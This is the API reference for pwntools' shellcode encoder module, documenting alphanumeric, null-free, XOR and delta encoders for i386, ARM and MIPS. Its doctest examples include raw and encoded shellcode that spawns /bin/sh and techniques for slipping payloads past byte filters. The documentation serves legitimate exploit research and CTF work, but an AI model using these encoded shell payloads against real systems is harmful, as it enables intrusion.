pwnlib.encoders
— Encoding Shellcode
- pwnlib.encoders.encoder.alphanumeric(raw_bytes) str [source]
Encode the shellcode
raw_bytes
such that it does not contain any bytes except for [A-Za-z0-9].Accepts the same arguments as
encode()
.
- pwnlib.encoders.encoder.encode(raw_bytes, avoid, expr, force) str [source]
Encode shellcode
raw_bytes
such that it does not contain any bytes inavoid
orexpr
.
- pwnlib.encoders.encoder.line(raw_bytes) str [source]
Encode the shellcode
raw_bytes
such that it does not contain any NULL bytes or whitespace.Accepts the same arguments as
encode()
.
- pwnlib.encoders.encoder.null(raw_bytes) str [source]
Encode the shellcode
raw_bytes
such that it does not contain any NULL bytes.Accepts the same arguments as
encode()
.
- pwnlib.encoders.encoder.printable(raw_bytes) str [source]
Encode the shellcode
raw_bytes
such that it only contains non-space printable bytes.Accepts the same arguments as
encode()
.
- pwnlib.encoders.encoder.scramble(raw_bytes) str [source]
Encodes the input data with a random encoder.
Accepts the same arguments as
encode()
.
Encoder to convert shellcode to shellcode that contains only ascii characters
- class pwnlib.encoders.i386.ascii_shellcode.AsciiShellcodeEncoder(slop=20, max_subs=4)[source]
Pack shellcode into only ascii characters that unpacks itself and executes (on the stack)
The original paper this encoder is based on: https://julianor.tripod.com/bc/bypass-msb.txt
A more visual explanation as well as an implementation in C: https://vincentdary.github.io/blog-posts/polyasciishellgen-caezar-ascii-shellcode-generator/index.html#22-mechanism
Init
- Parameters
slop (int, optional) – The amount esp will be increased by in the allocation phase (In addition to the length of the packed shellcode) as well as defines the size of the NOP sled (you can increase/ decrease the size of the NOP sled by adding/removing b’P’-s to/ from the end of the packed shellcode). Defaults to 20.
max_subs (int, optional) – The maximum amount of subtractions allowed to be taken. This may be increased if you have a relatively restrictive
avoid
set. The more subtractions there are, the bigger the packed shellcode will be. Defaults to 4.
- __call__(raw_bytes, avoid=None, pcreg=None)[source]
Pack shellcode into only ascii characters that unpacks itself and executes (on the stack)
- Parameters
- Raises
RuntimeError – A required character is in
avoid
(required characters are characters which assemble into assembly instructions and are used to unpack the shellcode onto the stack, more details in the paper linked above\ - % T X P
).RuntimeError – Not supported architecture
ArithmeticError – The allowed character set does not contain two characters that when they are bitwise-anded with eachother their result is 0
ArithmeticError – Could not find a correct subtraction sequence to get to the the desired target value with the given
avoid
parameter
- Returns
bytes – The packed shellcode
Examples
>>> context.update(arch='i386', os='linux') >>> sc = b"\x83\xc4\x181\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x80j\x17X1\xdb\xcd\x80j.XS\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80" >>> encoders.i386.ascii_shellcode.encode(sc) b'TX-!!!!-"_``-~~~~P\\%!!!!%@@@@-!6!!-V~!!-~~<-P-!mha-a~~~P-!!L`-a^~~-~~~~P-!!if-9`~~P-!!!!-aOaf-~~~~P-!&!<-!~`~--~~~P-!!!!-!!H^-+A~~P-U!![-~A1~P-,<V!-~~~!-~~~GP-!2!8-j~O~P-!]!!-!~!r-y~w~P-c!!!-~<(+P-N!_W-~1~~P-!!]!-Mn~!-~~~<P-!<!!-r~!P-~~x~P-fe!$-~~S~-~~~~P-!!\'$-%z~~P-A!!!-~!#!-~*~=P-!7!!-T~!!-~~E^PPPPPPPPPPPPPPPPPPPPP' >>> avoid = {'\x00', '\x83', '\x04', '\x87', '\x08', '\x8b', '\x0c', '\x8f', '\x10', '\x93', '\x14', '\x97', '\x18', '\x9b', '\x1c', '\x9f', ' ', '\xa3', '\xa7', '\xab', '\xaf', '\xb3', '\xb7', '\xbb', '\xbf', '\xc3', '\xc7', '\xcb', '\xcf', '\xd3', '\xd7', '\xdb', '\xdf', '\xe3', '\xe7', '\xeb', '\xef', '\xf3', '\xf7', '\xfb', '\xff', '\x80', '\x03', '\x84', '\x07', '\x88', '\x0b', '\x8c', '\x0f', '\x90', '\x13', '\x94', '\x17', '\x98', '\x1b', '\x9c', '\x1f', '\xa0', '\xa4', '\xa8', '\xac', '\xb0', '\xb4', '\xb8', '\xbc', '\xc0', '\xc4', '\xc8', '\xcc', '\xd0', '\xd4', '\xd8', '\xdc', '\xe0', '\xe4', '\xe8', '\xec', '\xf0', '\xf4', '\xf8', '\xfc', '\x7f', '\x81', '\x02', '\x85', '\x06', '\x89', '\n', '\x8d', '\x0e', '\x91', '\x12', '\x95', '\x16', '\x99', '\x1a', '\x9d', '\x1e', '\xa1', '\xa5', '\xa9', '\xad', '\xb1', '\xb5', '\xb9', '\xbd', '\xc1', '\xc5', '\xc9', '\xcd', '\xd1', '\xd5', '\xd9', '\xdd', '\xe1', '\xe5', '\xe9', '\xed', '\xf1', '\xf5', '\xf9', '\xfd', '\x01', '\x82', '\x05', '\x86', '\t', '\x8a', '\r', '\x8e', '\x11', '\x92', '\x15', '\x96', '\x19', '\x9a', '\x1d', '\x9e', '\xa2', '\xa6', '\xaa', '\xae', '\xb2', '\xb6', '\xba', '\xbe', '\xc2', '\xc6', '\xca', '\xce', '\xd2', '\xd6', '\xda', '\xde', '\xe2', '\xe6', '\xea', '\xee', '\xf2', '\xf6', '\xfa', '\xfe'} >>> sc = shellcraft.echo("Hello world") + shellcraft.exit() >>> ascii = encoders.i386.ascii_shellcode.encode(asm(sc), avoid) >>> ascii += asm('jmp esp') # just for testing, the unpacker should also run on the stack >>> ELF.from_bytes(ascii).process().recvall() b'Hello world'
- _calc_subtractions(last, target, vocab)[source]
- Given target and last, return a list of integers that when
subtracted from last will equal target while only constructing integers from bytes in vocab
int_size is taken from the context
- Parameters
- Raises
ArithmeticError – If a sequence of subtractions could not be found
- Returns
List[bytearray] – List of numbers that would need to be subtracted from last to get to target
Examples
>>> context.update(arch='i386', os='linux') >>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~') >>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b'\x10'*4), bytearray(b'\x11'*4), vocab)) [bytearray(b'!!!!'), bytearray(b'`___'), bytearray(b'~~~~')] >>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b'\x11\x12\x13\x14'), bytearray(b'\x15\x16\x17\x18'), vocab)) [bytearray(b'~}}}'), bytearray(b'~~~~')]
- _find_negatives(vocab)[source]
Find two bitwise negatives in the vocab so that when they are and-ed the result is 0.
int_size is taken from the context
- Parameters
vocab (bytearray) – Allowed characters
- Returns
Tuple[int, int] – value A, value B
- Raises
ArithmeticError – The allowed character set does not contain two characters that when they are bitwise-and-ed with eachother the result is 0
Examples
>>> context.update(arch='i386', os='linux') >>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~') >>> a, b = encoders.i386.ascii_shellcode.encode._find_negatives(vocab) >>> a & b 0
- _get_allocator(size, vocab)[source]
Allocate enough space on the stack for the shellcode
int_size is taken from the context
- Parameters
- Returns
bytearray – The allocator shellcode
Examples
>>> context.update(arch='i386', os='linux') >>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~') >>> encoders.i386.ascii_shellcode.encode._get_allocator(300, vocab) bytearray(b'TX-!!!!-!_``-t~~~P\\%!!!!%@@@@')
- _get_subtractions(shellcode, vocab)[source]
Covert the sellcode to sub eax and posh eax instructions
int_size is taken from the context
- Parameters
- Returns
bytearray – packed shellcode
Examples
>>> context.update(arch='i386', os='linux') >>> sc = bytearray(b'ABCDEFGHIGKLMNOPQRSTUVXYZ') >>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~') >>> encoders.i386.ascii_shellcode.encode._get_subtractions(sc, vocab) bytearray(b'-(!!!-~NNNP-!=;:-f~~~-~~~~P-!!!!-edee-~~~~P-!!!!-eddd-~~~~P-!!!!-egdd-~~~~P-!!!!-eadd-~~~~P-!!!!-eddd-~~~~P')
- class pwnlib.encoders.i386.xor.i386XorEncoder[source]
Generates an XOR decoder for i386.
>>> context.clear(arch='i386') >>> shellcode = asm(shellcraft.sh()) >>> avoid = b'/bin/sh\xcc\xcd\x80' >>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid) >>> assert not any(c in encoded for c in avoid) >>> p = run_shellcode(encoded) >>> p.sendline(b'echo hello; exit') >>> p.recvline() b'hello\n' >>> encoders.i386.xor.encode(asm(shellcraft.execve('/bin/sh')), avoid=bytearray([0x31])) b'\xd9\xd0\xd9t$\xf4^\xfcj\x07Y\x83\xc6\x19\x89\xf7\xad\x93\xad1\xd8\xabIu\xf7\x00\x00\x00\x00h\x01\x01\x01\x00\x00\x00\x00\x01\x814$\x00\x00\x00\x00.ri\x01\x00\x00\x00\x00h/bi\x00\x00\x00\x01n\x89\xe30\x00\x01\x00\x00\xc90\xd2j\x00\x00\x00\x00\x0bX\xcd\x80'
Shellcode encoder class
Implements an architecture-specific shellcode encoder
- class pwnlib.encoders.i386.delta.i386DeltaEncoder[source]
i386 encoder built on delta-encoding.
In addition to the loader stub, doubles the size of the shellcode.
Example
>>> sc = pwnlib.encoders.i386.delta.encode(b'\xcc', b'\x00\xcc') >>> e = ELF.from_bytes(sc) >>> e.process().poll(True) -5
Shellcode encoder class
Implements an architecture-specific shellcode encoder
- class pwnlib.encoders.arm.xor.ArmXorEncoder[source]
Generates an XOR decoder for ARM.
>>> context.clear(arch='arm') >>> shellcode = asm(shellcraft.sh()) >>> avoid = b'binsh\x00\n' >>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid) >>> assert not any(c in encoded for c in avoid) >>> p = run_shellcode(encoded) >>> p.sendline(b'echo hello; exit') >>> p.recvline() b'hello\n'
Shellcode encoder class
Implements an architecture-specific shellcode encoder
- blacklist = {'\x01', '\x03', '\x04', '\x07', '\x0c', '\x0f', '\x16', '\x1c', '$', '%', "'", '-', '/', '@', 'A', 'D', 'G', 'O', 'P', 'T', '_', '`', 'p', '\x80', '\x81', '\x84', '\x85', '\x87', '\x8f', '\x9f', '\xa0', '°', '½', 'Â', 'Æ', 'È', 'Ø', 'à', 'á', 'â', 'ã', 'å', 'ç', 'è', 'é', 'ê', '÷'}[source]
Blacklist of bytes which are known not to be supported
- class pwnlib.encoders.mips.xor.MipsXorEncoder[source]
Generates an XOR decoder for MIPS.
>>> context.clear(arch='mips') >>> shellcode = asm(shellcraft.sh()) >>> avoid = b'/bin/sh\x00' >>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid) >>> assert not any(c in encoded for c in avoid) >>> p = run_shellcode(encoded) >>> p.sendline(b'echo hello; exit') >>> p.recvline() b'hello\n'
Shellcode encoder class
Implements an architecture-specific shellcode encoder
- blacklist = {1, 2, 3, 5, 8, 11, 12, 14, 16, 17, 20, 23, 24, 30, 33, 35, 36, 38, 39, 40, 43, 44, 49, 50, 64, 70, 73, 74, 83, 84, 88, 90, 96, 112, 128, 130, 134, 143, 163, 164, 165, 166, 175, 184, 192, 200, 206, 226, 235, 238, 239, 240, 248, 250, 251, 252, 253, 255}[source]
Blacklist of bytes which are known not to be supported